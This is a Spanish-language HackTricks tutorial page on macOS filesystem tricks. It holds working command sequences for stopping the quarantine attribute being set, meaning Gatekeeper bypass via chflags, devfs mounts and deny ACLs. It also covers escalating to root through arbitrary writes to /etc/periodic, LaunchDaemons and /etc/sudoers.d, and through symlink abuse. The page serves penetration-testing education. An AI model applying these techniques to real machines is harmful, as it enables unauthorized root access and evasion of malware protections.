hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks
2023-11-01 16:27:16 +00:00
..
macos-xattr-acls-extra-stuff.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-10-18 17:45:43 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-11-01 16:27:16 +00:00

Trucos de macOS FS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Combinaciones de permisos POSIX

Permisos en un directorio:

  • lectura - puedes enumerar las entradas del directorio
  • escritura - puedes eliminar/escribir archivos en el directorio
  • ejecución - se te permite atravesar el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él ni a ningún subdirectorio.

Combinaciones peligrosas

Cómo sobrescribir un archivo/carpeta propiedad de root, pero:

  • Uno de los directorio padre propietario en la ruta es el usuario
  • Uno de los directorio padre propietario en la ruta es un grupo de usuarios con acceso de escritura
  • Un grupo de usuarios tiene acceso de escritura al archivo

Con cualquiera de las combinaciones anteriores, un atacante podría inyectar un enlace simbólico/duro en la ruta esperada para obtener una escritura arbitraria privilegiada.

Caso especial de la carpeta raíz R+X

Si hay archivos en un directorio donde solo root tiene acceso R+X, estos no son accesibles para nadie más. Por lo tanto, una vulnerabilidad que permita mover un archivo legible por un usuario, que no se puede leer debido a esa restricción, desde esta carpeta a otra diferente, podría ser abusada para leer estos archivos.

Ejemplo en: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Enlace simbólico / Enlace duro

Si un proceso privilegiado está escribiendo datos en un archivo que podría ser controlado por un usuario con menos privilegios, o que podría ser previamente creado por un usuario con menos privilegios. El usuario simplemente podría apuntarlo a otro archivo a través de un enlace simbólico o enlace duro, y el proceso privilegiado escribirá en ese archivo.

Verificar en las otras secciones donde un atacante podría abusar de una escritura arbitraria para escalar privilegios.

FD arbitrario

Si puedes hacer que un proceso abra un archivo o una carpeta con altos privilegios, puedes abusar de crontab para abrir un archivo en /etc/sudoers.d con EDITOR=exploit.py, de modo que exploit.py obtendrá el FD al archivo dentro de /etc/sudoers y lo abusará.

Por ejemplo: https://youtu.be/f1HA5QhLQ7Y?t=21098

Trucos para evitar atributos de cuarentena xattrs

Bandera uchg / uchange / uimmutable

Si un archivo/carpeta tiene este atributo inmutable, no será posible poner un xattr en él.

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

Montaje de defvfs

Un montaje de devfs no admite xattr, más información en CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

ACL de writeextattr

Este ACL evita agregar xattrs al archivo.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

El formato de archivo AppleDouble copia un archivo incluyendo sus ACEs.

En el código fuente es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado com.apple.acl.text se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo AppleDouble con una ACL que impide que otros xattrs se escriban en él... el xattr de cuarentena no se estableció en la aplicación:

Consulta el informe original para obtener más información.

Para replicar esto, primero necesitamos obtener la cadena de acl correcta:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Nota que incluso si esto funciona, la sandbox escribe el atributo de cuarentena antes)

No es realmente necesario, pero lo dejo aquí por si acaso:

{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}

Bypass de Firmas de Código

Los paquetes contienen el archivo _CodeSignature/CodeResources que contiene el hash de cada archivo en el paquete. Ten en cuenta que el hash de CodeResources también está incrustado en el ejecutable, por lo que no podemos modificarlo.

Sin embargo, hay algunos archivos cuya firma no se verificará, estos tienen la clave omit en el plist, como:

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

Montar archivos DMG

Un usuario puede montar un archivo DMG personalizado incluso encima de algunas carpetas existentes. Así es como puedes crear un paquete DMG personalizado con contenido personalizado:

{% code overflow="wrap" %}

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

{% endcode %}

Escrituras Arbitrarias

Scripts sh periódicos

Si tu script puede ser interpretado como un script de shell, puedes sobrescribir el script de shell /etc/periodic/daily/999.local que se ejecutará todos los días.

Puedes simular la ejecución de este script con: sudo periodic daily

Daemons

Escribe un LaunchDaemon arbitrario como /Library/LaunchDaemons/xyz.hacktricks.privesc.plist con un plist que ejecute un script arbitrario como:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Simplemente genera el script /Applications/Scripts/privesc.sh con los comandos que te gustaría ejecutar como root.

Archivo Sudoers

Si tienes permisos de escritura arbitrarios, puedes crear un archivo dentro de la carpeta /etc/sudoers.d/ otorgándote privilegios de sudo.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥